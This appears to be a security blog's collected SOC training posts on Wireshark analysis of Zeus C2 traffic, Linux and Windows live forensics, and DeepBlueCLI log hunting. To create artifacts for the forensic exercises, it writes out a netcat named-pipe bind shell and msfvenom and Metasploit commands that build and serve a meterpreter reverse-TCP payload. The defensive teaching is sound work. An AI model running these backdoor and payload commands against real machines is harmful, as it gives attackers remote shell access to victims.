Category: SOC Analyst Core Skills

Zeus malware. Packet capture analysis with Wireshark

I analyze a PCAP file that was captured on a machine infected with the Zeus malware.

In this blog post, I will analyze a PCAP file that was captured on a machine infected with the Zeus malware. The analysis will be run with Wireshark. The packet capture comes from the Malware-Of-The-Day archive on Active Countermeasures.

Zeus malware

Zeus is a Trojan-Banker, which is a type of malware designed to steal user account data relating to online banking systems. Terdot, a new evolution of Zeus, can also eavesdrop on and modify traffic on most social media and email platforms.

This is the setup of the lab for the Zeus malware on Active Countermeasures.

Introduction

We will first get an overview of the malicious activity on this system by listing HTTP requests1. Then, we will analyze the conversations between the infected system and the C22 server.

We download zeus_1hr.pcap from here to our Kali Linux 2020.3 instance. We will use Wireshark 3.2.5 for the analysis.

HTTP Requests Analysis

We launch Wireshark and open zeus_1hr.pcap. Next, we list HTTP requests by HTTP host. What to select on the Wireshark GUI is listed under each screenshot.

Statistics > HTTP > Requests
117 HTTP requests (more than 95% of all HTTP requests) with the same string are made to a suspicious domain.

The first thing that stands out is that more than 95% of all HTTP requests are made to mahamaya1ifesciences.com. All 117 of them request the same JPG file. Let’s analyze each single HTTP host:

  • ocsp.digicert.com: This seems legit. OCSP is a protocol that checks whether an SSL certificate has been revoked.
  • tile-service.weather.microsoft.com: This seems legit. This is used to download updates to the Weather app Live Tile.
  • 239.255.255.250:1900: This seems legit. This is the IPv4 site-local address for the network protocol Simple Service Discovery Protocol.
  • mahamaya1ifesciences.com: This is suspicious because it modifies the legit domain mahamayalifesciences.com by replacing the “l” with a “1”. A quick search on the Internet shows that this is a known Zeus C2 domain.

TCP Stream Analysis

The next step is to zoom in onto the conversation between the infected machine and the C2 server. First, we need to find out the IP addresses of the machines involved. The target machine’s IPv4 is 192.168.99.53, whereas the C2 server’s IPv4 is 67.207.93.135 as described in the lab setup3. By looking at all the conversations, we notice that 67.207.93.135 and 192.168.99.53 exchanged more than 25,000 packets (28 MB). This makes them the conversation pair with more traffic.

Statistics > Conversation > IPv4
67.207.93.135 and 192.168.99.53 are the conversation pair with more traffic.
Right-click on conversation > Apply as Filter > Selected > A<->B
This updates the filter for the Wireshark instance so that we can zoom in onto the conversation between 67.207.93.135 and 192.168.99.53.

By updating the filter, we now only see the conversation between 67.207.93.135 and 192.168.99.53. Next, we follow the relative TCP stream and read the server response to the HTTP requests from the infected machine.

Right click on No. 1 > Follow > TCP Stream
This is the payload that the C2 server (67.207.93.135) sends to the infected machine (192.168.99.53).

By following the TCP stream, we see that the C2 server sends a PowerShell command to the infected machine. This is made clear by the use of IEX. This is the alias for Invoke-Expression, which is a PowerShell cmdlet4. In this instance, IEX runs a command that decompresses and reads a gzip stream. This is done using System.IO modules.

All in all, we analyzed a PCAP trace with Wireshark and found out with a few clicks that the Zeus malware delivers its payload by a PowerShell one-liner5.

I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!

Endpoint Live Forensics from the Command Line on Linux

In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools.

In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools. If you wish to do the same on a Windows machine, I have got you covered: Endpoint Live Forensics from the Command Line on Windows. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

In order to understand the following steps, we need to know that everything on Linux is a file, even processes. Today, we will look into /proc, which is a directory that contains a folder for each running process. Each process has its own directory with virtual files within. Spoiler alert: We are going to analyze one of those files.

Create a backdoor and connect to it

Let’s start by setting up a malicious process on the Linux system. Firstly, we create a backdoor with netcat from a terminal tab and connect back to it from a second tab.

Terminal tab 1:

  • mknod backpipe p
  • /bin/bash 0<backpipe | nc -l 2222 1>backpipe

The first command creates a file of type device pipe called backpipe, whereas the second one starts a netcat listener on port 2222 that forwards all input through the backpipe and then into a bash session. It then takes the output of the bash session and puts it back into the netcat listener. Wait what? At first, I couldn’t visualize what this command did – yes, vision is strong with this one, so I played with it. The screenshot below visualizes how this backdoor works.

The unintended use of the backdoor killed it, but we can now see its inner working.
My input, i.e., the command whoami, is rerouted to the input of bash which replies root and kills the listener.

Terminal tab 2:

  • nc 127.0.0.1 2222

In real life, you would use the IP address of the target machine instead of 127.0.0.1. This works in this situation, because the attacker and the victim machines are one and the same.

This is the intended use of the backdoor on the target (terminal tab 1). From a second tab, we connect to it. In a real attack, this second tab will be on the threat actor’s computer and will enable them to navigate and modify the target system.

Run analysis from the command line with default tools

Now everything is set up for the analysis. We open a third terminal tab, we switch to root, and list all the open connections with lsof -i -P1.

We list the open connections with lsof -i -P

This list shows two processes. PID 157 is the process running our backdoor (user: root), whereas PID 158 is the TCP connection to it, that is, the process launched from the second tab we opened (user: adhd). In a real world situation we would only the outbound connection from port 2222, because the inverse connection would be on the attacker’s machine. Next, we investigate PID 157 further by running lsof -p 157.

We investigate the possibly malicious PID 157 further.

This command lists all open files associated with this process. We can see that there is a named pipe2 called backpipe in the root folder and netcat is running from the bin directory. This is the first indication that netcat is currently running on the system. We can now go a step further and list the command that initialized these processes by running ps aux3.

List the commands that started the processes. If you look closely, you can see that I opened two terminal tabs (pts/2 where I started the listener and pts/1 where I connected back to the listener) and, after a break, opened a third one from which I’m running the analysis now.

The output of this command shows that there is a backdoor running on port 2222. From here, we take the last step and analyze the executable running process 157. We do this with the tool strings4 which confirms our suspicion that netcat was running within PID 157.

  • cd /proc/157
  • strings ./exe
In the output of strings run on exe, we see that netcat is definitely running on PID 157.

All in all, we were able to detect a fishy connection, find the PID behind it, list the command that invoked the corresponding process and analyze its executable using Linux built-in tools only.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!

Threat Hunting via Windows Event Logs with DeepBlueCLI

In this blog post, I will use the PowerShell module DeepBlueCLI to quickly discover suspicious account and command line behavior by parsing some sample evtx files from DeepBlueCLI GitHub page.

In this blog post, I will use the PowerShell module DeepBlueCLI to quickly discover suspicious account and command line behavior by parsing some sample evtx files1 from DeepBlueCLI GitHub page. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

New user is created and immediately added to the local Administrators group

In this section, we will analyze new-user-security.evtx with DeepBlueCLI. In the output, we see that a new user with username “IEUser” was created at 10:22:39 AM and then added to the local Administrators group at 10:22:40 AM, that is, one second after creation. This is suspicious as threat actors often create new users in order to gain a level of persistence in the network that they would not otherwise gain with malware.

Two security events from the log file were connected together by DeepBlueCLI and presented back to us with an intuitive summary.

Password spraying

In this section, we will analyze password-spray.evtx with DeepBlueCLI. Password spray attacks are those attacks where a threat actor targets a list of usernames on a domain and sprays them with the same password, like Winter2020. This attack is often successful because many companies do not implement a strong password policy. Moreover, such technique doesn’t often get picked up because accounts don’t get locked out, as the attacker keeps the attempted logon count below the lockout threshold defined in the lockout policy. In this instance, we see that DeepBlueCLI detects the attack and summarizes it for humans to read. Concretely, we see that a password spray attack was launched by user jwrig from machine DESKTOP-JR78RLP. Moreover, we see a list of the target usernames as well.

The DeepBlueCLI summary of a password spraying attack.

Password guessing

In this section, we will analyze smb-password-guessing-security.evtx with DeepBlueCLI. Password guessing attacks are those where the threat actor tries to login as a single user by trying out different passwords. In this instance, DeepBlueCLI detects such an attack against the Administrator account. The DeepBlueCLI summary shows that 3560 login attempts were made for this account.

The DeepBlueCLI summary of a password guessing attack.

Suspicious command line (attack with obfuscation)

In this last section, we will analyze Powershell-Invoke-Obfuscation-encoding-menu.evtx with DeepBlueCLI. This file contains logs of commands run from Powershell that are suspicious because they contain a lot of not common symbols. Attackers often use a number of encoding techniques to bypass signature detection2. Concretely, this means that threat actors rewrite malicious commands using not common symbols. For example, they could build the commands a character at a time, like in the screenshot below. Fortunately, this kind of activity often gets logged by Windows Defender because non-malicious scripts do not use so many uncommon characters. As you can see below, DeepBlueCLI runs a statistic on this specific command line invocation and shows that only 58% alphanumeric and common symbols were used in this example, thus indicating malicious activity.

This Powershell command was written character by character, that is, using the data type char. This is an example of obfuscation, a technique typically used by attackers to bypass signature detection.

All in all, DeepBlueCLI enables fast discovery of specific events detected in Windows Security. In this post, we only looked at detections of suspicious account and command line activities. However, DeepBlueCLI can do much more. Check out its page on GitHub!

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!

Endpoint Live Forensics from the Command Line on Windows

In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools.

In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools. We will think of a compromised machine as a big haystack. In order to find out information about the attack, we will start with network connections and work backwards from there. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

The methods that I will present next will work in the majority of situations. However, there are cases where these tools won’t detect malicious activity. This is the case when the attacker uses a protocol that is not connection-oriented, like UDP1, or when the threat actor creates malware that has the capability to hide from our scans.

Detect a new share on an endpoint

Threat actors usually set up share drives on an infected endpoint. They do this because they don’t pull data directly from e.g., a SQL server. Instead they first copy files from the server to the infected endpoint, and then exfiltrate those files from there.

This section deals with the command net view which detects shares2 on a computer. This tool gives the SOC analyst the capability of detecting an attack by listing shares. At this point, it is important to notice that companies usually have servers that work as file shares. Thus, we do not expect to see share drives on an endpoint.

This is the result delivered by net view when the machine under scrutiny has no shares.

In order to demonstrate how this command works, we will first create a share on Windows 10.

  • Open File Explorer > Go to “C:\” > Create folder “Evil-Share”
  • Right click on “Evil-Share” > Properties > Sharing tab > Share > From dropdown, choose Everyone and click Add > Change Permission Level to Read/Write > Share (You might have to turn on File Sharing) > Done > Close

Now “Evil Share” is visible when running net view.

Evil-Share is listed as a share on the local machine.

Reconstruct the attack chain

Incidents are not isolated systems to be reviewed. Instead they are interactions between different machines. For this reason, it is important to track the communication between different machines on a network.

The command net session lists the inbound connections of a machine3. If the attacker were to pull data from an SQL server on our network and we were to run net session on that server, we would be able to see the communication between that server and the compromised endpoint.

This is the result of net session after running this command on a Windows Server 2012 R2 machine. Here we can see that computer \\BWESTON has a session open with Server 2012.

Identify which process started the malicious executable

In this section, we will learn how to track down the name of the process that started the malicious executable on a Windows endpoint. In order to do this we will use netstat, a tool that displays protocol statistics, and current TCP and UDP connections.

First, we create the malicious file and serve it from a machine running Kali. We create the payload for a reverse TCP shell with msfvenom and save it in the TrustMe.exe. We then serve this executable via a Python HTTP Server on port 8000. In parallel, we also start a reverse TCP handler.

  • msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR KALI IPv4> lport=4444 -f exe -o /tmp/TrustMe.exe
  • cd /tmp
  • python -m SimpleHTTPServer 8000&
  • Hit Enter
  • msfconsole -q
  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost <YOUR KALI IPv4>
  • run

On Windows, open Edge and go to http://<KALI IPv4>:8000 and run TrustMe.exe from the browser without saving it. If you get a security warning, click Run. If you look at your Kali terminal tab, you will see that we now have a Meterpreter session.

The malicious executable is runnable on our Windows machine.

In the next steps, we will find out which process launched TrustMe.exe using the command line. In this case, the answer is obvious as we started the executable, but the technique remains valuable nevertheless.

We first run netstat -naob4. This command will let us find out whether suspect processes are running and also show the process name and ID, and the IP address of the machine they are communicating to.

There is a TCP connection established on port 4444 with a machine whose IPv4 is 172.28.254.28. Moreover, we see that PID 3132 was started by TrustMe.exe.

We can investigate further and check if 172.28.254.28 can be resolved to any known domain by our DNS.

We see that 172.28.254.28 cannot be resolved to a domain name.

The next step is to investigate process 3132 further. We can list all the modules that this process uses by running tasklist /m /fi "pid eq 3132"5. A quick online search of the DLLs displayed shows that they contain kernel functions. Unfortunately, this doesn’t confirm whether the executable is malicious.

TrustMe.exe is running four DLLs that all contain kernel functions.

We now look for the command line invocation of TrustMe.exe. The result of wmic process where processid=3132 get commandline6 shows that the executable was invoked by the Edge browser helper. Moreover, we also learn that this is a temporary file.

Get command line invocation of TrustMe.exe using WMIC.

The last remaining step is to understand the heritage of this process, that is the reaction chain that triggered it. In this case, it is quite simple. TrustMe.exe was executed by browser_broker.exe, which is a software component of Microsoft Edge.

The parent process that run TrustMe.exe is browser_broker.exe, a software component of Microsoft Edge.

Using only standard command line tools, we were able to detect a TCP connection to a suspicious IP address that was created by TrustMe.exe. Moreover, we also listed the DLLs used by this executable, its command line invocation and its parent process.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!